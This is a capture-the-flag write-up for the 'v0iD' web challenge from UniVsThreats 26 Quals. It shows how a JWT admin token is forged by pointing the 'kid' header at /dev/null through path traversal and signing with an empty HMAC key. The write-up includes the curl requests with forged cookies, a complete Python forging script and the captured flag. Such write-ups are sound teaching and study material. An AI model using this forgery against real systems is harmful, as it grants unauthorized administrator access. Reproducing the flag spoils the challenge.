UniVsThreats 26 Quals CTF - v0iD - Web Exploitation Writeup

Category: Web Exploitation

Flag: UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}

Challenge Description#

Stardate 2026.035 — The USS Threads has docked at Space Station Theta-7 for a routine security audit. As a newly recruited penetration tester, your mission is to assess the ship’s systems. Good luck, space cadet. The stars are watching.

Analysis#

The app was a small Express portal with a login flow, so I started with source-level cheap wins on /login before trying any deep route hunting. That immediately paid off: the HTML comment leaked working credentials and also included a base64 taunt.

1
curl -i -sS "http://194.102.62.166:30266/login"

1
HTTP/1.1 200 OK
2
X-Powered-By: Express
3
...
4
<!-- SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ== -->
5
<!-- Test credentials: pilot_001 / S3cret_P1lot_Ag3nt -->

1
python3.12 -c "import base64;print(base64.b64decode('SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ==').decode())"

1
Hahaha_nice_try_but_I_don't_hide_flags_in_source_code:))))))))))

The credentials were valid and returned a JWT in the session cookie.

1
curl -i -sS -c "/home/LIGHT/Downloads/v0id.cookies" -X POST "http://194.102.62.166:30266/login" -d "username=pilot_001&password=S3cret_P1lot_Ag3nt"

1
HTTP/1.1 302 Found
2
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ; Path=/; HttpOnly
3
Location: /my-account

Decoding that token showed a high-signal detail: the header had kid: galactic-key.key, so verification likely reads a key from a server-side file path.

1
python3.12 -c "import base64,json; t='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ'; h,p,s=t.split('.'); d=lambda x: base64.urlsafe_b64decode(x+'='*(-len(x)%4)); print('HEADER',json.loads(d(h))); print('PAYLOAD',json.loads(d(p)))"

1
HEADER {'alg': 'HS256', 'typ': 'JWT', 'kid': 'galactic-key.key'}
2
PAYLOAD {'sub': 'pilot_001', 'role': 'crew', 'iat': 1772199715}

/admin with the normal crew token gave a clean authorization failure, so the route existed and role checks were active.

1
curl -i -sS -b "/home/LIGHT/Downloads/v0id.cookies" "http://194.102.62.166:30266/admin"

1
HTTP/1.1 403 Forbidden
2
...
3
<h1>ACCESS RESTRICTED</h1>
4
<p style="text-align: center;">Command Center requires <strong>administrator</strong> clearance.</p>
5
<p style="text-align: center;">You are logged in as: <strong>pilot_001</strong></p>

I briefly tested the classic alg=none bypass first and it was rejected (redirect to /login), which confirmed signature verification was not trivially disabled.

1
curl -i -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiZ2FsYWN0aWMta2V5LmtleSJ9.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc3MjE5OTc3N30."

1
HTTP/1.1 302 Found
2
Location: /login

That made the kid path angle the right pivot: using path traversal to /dev/null forces an empty HMAC secret, then signing HS256 with empty bytes yields a valid server-side signature. Setting both sub and role to administrator unlocked the panel immediately.

smug

1
curl -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"

1
<h1>COMMAND CENTER</h1>
2
<h2 style="margin-top: 0; color: #00ff88;">🎖️ Welcome, Administrator</h2>
3
<a href="/flag"><button>🏴 ACCESS MISSION FLAG</button></a>

From there, hitting /flag with the same forged token returned the real challenge flag in the response body.

dance

1
curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"

1
<h1>MISSION COMPLETE</h1>
2
<h2 style="margin-top: 0; text-align: center; color: #00ff88;">🎉 FLAG CAPTURED 🎉</h2>
3
<div class="flag-display">UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}</div>

Solution#

1
# !/usr/bin/env python3.12
2

3
import base64
4
import hashlib
5
import hmac
6
import json
7
import re
8
import time
9

10
import requests
11

12
def b64u(data: bytes) -> str:
13
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
14

15
def forge_admin_token() -> str:
16
    header = {
17
        "alg": "HS256",
18
        "typ": "JWT",
19
        "kid": "../../../../../../dev/null",
20
    }
21
    payload = {
22
        "sub": "administrator",
23
        "role": "administrator",
24
        "iat": int(time.time()),
25
    }
26

27
    msg = f"{b64u(json.dumps(header, separators=(',', ':')).encode())}.{b64u(json.dumps(payload, separators=(',', ':')).encode())}"
28
    sig = b64u(hmac.new(b"", msg.encode(), hashlib.sha256).digest())
29
    return f"{msg}.{sig}"
30

31
def main() -> None:
32
    base = "http://194.102.62.166:30266"
33
    token = forge_admin_token()
34

35
    r = requests.get(
36
        f"{base}/flag",
37
        headers={"Cookie": f"session={token}"},
38
        timeout=10,
39
    )
40

41
    m = re.search(r"UVT\{[^}]+\}", r.text)
42
    if not m:
43
        raise RuntimeError("flag not found")
44

45
    print(m.group(0))
46

47
if __name__ == "__main__":
48
    main()

1
curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"

1
UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}